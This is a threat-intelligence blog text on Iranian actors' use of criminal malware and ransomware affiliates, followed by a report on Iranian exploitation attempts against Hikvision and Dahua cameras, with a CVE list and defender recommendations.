To address this, we attempted to bring structure to the available evidence, to the best of our ability, and identify which activity is truly associated with MuddyWater.
Tsundere Botnet (a.k.a DinDoor)
The Tsundere Botnet was first uncovered in late 2025 and was later linked to MuddyWater. Large parts of its activity rely on Node.js and JavaScript scripts to execute code on compromised machines. In several instances observed in the wild, when the Node.js engine is detected, the botnet shifts to an alternative execution method using Deno, a runtime for JavaScript and TypeScript. Since Deno-based execution had not previously been associated with Tsundere, researchers linking this activity to MuddyWater designated this variant as DinDoor.
Given that two separate sources linked Tsundere to MuddyWater, one via a VPS and the other through vendor telemetry, it is likely that MuddyWater uses the botnet as part of its operations. Another overlap between DinDoor-related activity and known MuddyWater tradecraft is the use of rclone to access a Wasabi server, which traces back to an IP address previously associated with MuddyWater (18.223.24[.]218, linked to eb5e96e05129e5691f9677be4e396c88).
Castle Loader Connection (a.k.a FakeSet)
Another malware family recently linked to MuddyWater is FakeSet, which, according to our analysis, is a downloader used in recent infection chains delivering CastleLoader. CastleLoader operates as a Malware-as-a-Service offering used by multiple affiliates. Based on our understanding, the reported link between CastleLoader and MuddyWater stems from the use of a set of code-signing certificates, specifically under the Common Names “Amy Cherne” and “Donald Gay”. Certificates with these common names were also used to sign MuddyWater malware (“StageComp”), Tsundere Deno malware (“DinDoor”), and CastleLoader (“FakeSet”) variants.
In our assessment, this does not necessarily indicate that MuddyWater is a CastleLoader affiliate; rather, it suggests that both may have obtained certificates from the same source.
Iranian Qilin Affiliates
In October 2025, Israeli Shamir Medical Center was hit by a major cyber attack that was initially described as a ransomware incident. The attackers claimed to have stolen a large amount of data and demanded a ransom in exchange for not publishing it. Israeli officials said the attack did not affect hospital operations and patient care was not significantly disrupted. Still, some information appears to have been leaked, including limited email correspondence and certain medical data.
Figure 3 – Shamir Medical Center on Qilin Leak Site
At first, the attack was presented as a ransomware incident linked to the Qilin group, but later Israeli assessments pointed much more directly to Iranian actors as the real force behind it. Qilin is known as a ransomware-as-a-service (RaaS) operation, meaning it provides ransomware infrastructure and tooling to outside partners or “affiliates” who actually carry out intrusions. In this case, the emerging picture was that the attackers were likely Iranian-affiliated operators working through the cyber criminal ecosystem, using a criminal ransomware brand and methods associated with the broader extortion market, while serving a strategic Iranian objective.
This attack did not occur in isolation. It appears to be part of a broader, sustained campaign by MOIS and Hezbollah to target Israeli hospitals, a pattern that has been evident since late 2023. The use of Qilin, and participation in its affiliate program, likely serves not only as a layer of cover and plausible deniability, but also as a meaningful operational enabler, especially as earlier attacks appear to have heightened security measures and monitoring by Israeli authorities.
Conclusion
The cases examined in this blog show that, for some Iranian actors, cyber crime is no longer just a cover for state-directed activity. Across these examples, the pattern is not limited to the appearance of criminal behavior, but includes the use of criminal malware, ransomware branding, and affiliate-style ecosystems in support of strategic objectives. This reflects a clear shift from simply imitating cyber criminals to actively leveraging the cyber crime ecosystem.
This shift matters because it delivers clear operational benefits. For MOIS-linked actors in particular, engagement with criminal tools and services enhances capabilities while complicating attribution and fueling confusion around Iranian activity. Taken together, the cases discussed here show that cyber crime has become not just camouflage, but a practical operational resource.
During the ongoing conflict, we identified intensified targeting of IP cameras from two manufacturers starting on February 28, originating from infrastructure we attribute to Iranian threat actors.
The targeting extends across Israel, Qatar, Bahrain, Kuwait, the UAE, and Cyprus – countries that have also experienced significant missile activity linked to Iran. On March 1st, we additionally observed camera-targeting activity focused on specific areas in Lebanon.
We also observed earlier, more targeted activity against cameras in Israel and Qatar on January 14–15. These dates surround with Iran’s temporary closure of its airspace, reportedly amid expectations of a potential U.S. strike.
Taken together, these findings are consistent with the assessment that Iran, as part of its doctrine, leverages camera compromise for operational support and ongoing battle damage assessment (BDA) for missile operations, potentially in some cases prior to missile launches. As a result, tracking camera-targeting activity from specific, attributed infrastructures may serve as an early indicator of potential follow-on kinetic activity.
Introduction
As highlighted in the Cyber Security Report 2026, cyber operations have increasingly become an additional tool in interstate conflicts, used both to support military operations and to enable ongoing battle damage assessment (BDA). During the 12-day conflict between Israel and Iran in June 2025, the compromise of cameras was likely used to support BDA and/or target-correction efforts.
In the current Middle East conflict, Check Point Research has observed intensified targeting of cameras beginning in the first hours of hostilities, including a sharp increase in exploitation attempts against IP cameras not only in Israel but also across Gulf countries: specifically the UAE, Qatar, Bahrain, and Kuwait, as well as similar activity in Lebanon and Cyprus. This activity originated from multiple attack infrastructures that we attribute to several Iran-nexus threat actors.
Notably, we also identified earlier activity exhibiting similar patterns, dated January 14, coinciding with the peak of anti-regime protests in Iran, a period during which Iran anticipated potential action from the United States and Israel and temporarily closed its airspace.
Findings
Check Point Research (CPR) continuously tracks infrastructure used by Iran-nexus threat actors.
Starting February 28, we observed a spike in targeting of IP cameras in several countries in the Middle East including Israel,UAE, Qatar, Bahrain, Kuwait and Lebanon, while also similar activity occurred against Cyprus.
The attack infrastructure we track combines specific commercial VPN exit nodes (Mullvad, ProtonVPN, Surfshark, NordVPN) and virtual private servers (VPS), and is assessed to be employed by multiple Iran-nexus actors.
Scanning activity we observed targets cameras such as Hikvision and Dahua and aligns with attempts to identify exposure to the vulnerabilities listed below. No attempts to interact with other camera vendors were observed from this infrastructure.
The popular devices of Hikvision and Dahua are targeted with the following vulnerabilities:
CVE
Vulnerability
CVE-2017-7921
An improper authentication vulnerability in Hikvision IP camera firmware
CVE-2021-36260
A command injection vulnerability in the Hikvision web server component
CVE-2023-6895
An OS command injection vulnerability in Hikvision Intercom Broadcasting System
CVE-2025-34067
An unauthenticated remote code execution vulnerability in Hikvision Integrated Security Management Platform
CVE-2021-33044
An authentication bypass vulnerability in multiple Dahua products
Patches are available for all of the vulnerabilities listed above.
As a case study, we conducted a deep dive into two of the CVEs listed above – CVE-2021-33044 and CVE-2017-7921 – and examined exploitation attempts originating from operational infrastructure we attribute to Iran, observed since the beginning of the year.
Waves of activity against Israel:
The spikes in this activity are closely aligned with geopolitical events around the same time:
January 14-15 – While internal anti-regime protests in Iran peaked, Iranian officials and state media portrayed the unrest as a foreign-backed plot by Iran’s adversaries, including the United States and Israel and also closed its airspace. At the same time we also observe a wave of scans of cameras in the Iraqi Kurdistan.
January 24 – The U.S. Central Command (CENTCOM) commander visited Israel and met with the Israel Defense Forces’ chief of staff amid heightened tensions.
Beginning of February – Iran’s leadership was increasingly worried about a possible U.S. strike; Iranian/IRGC-linked messaging warned a strike could trigger a wider regional war.
Waves of activity against Qatar:
Waves of activity against Bahrain:
Waves of activity against Kuwait:
Waves of activity against United Arab Emirates:
Waves of activity against Cyprus:
Waves of activity against Lebanon:
We observed similar targeting patterns during the 12-day war between Israel and Iran in June 2025, likely to support battle damage assessment (BDA) and/or targeting correction. One of the best-known cases occurred when Iran struck Israel’s Weizmann Institute of Science with a ballistic missile and had reportedly taken control of a street camera facing the building just prior to the hit
Recommendations for Defenders:
Eliminate public exposure: remove direct WAN access to cameras/NVRs; place them behind VPN or a zero-trust access gateway; block inbound port-forwards.
Patch management: keep cameras/NVR firmware and management software updated – updates from the manufacturers are available; remove/replace end-of-life devices that no longer get security fixes.
Network segmentation: isolate cameras on a dedicated VLAN with no lateral access to corporate/OT networks; tightly control outbound traffic (only to required update/cloud endpoints).
Entrar
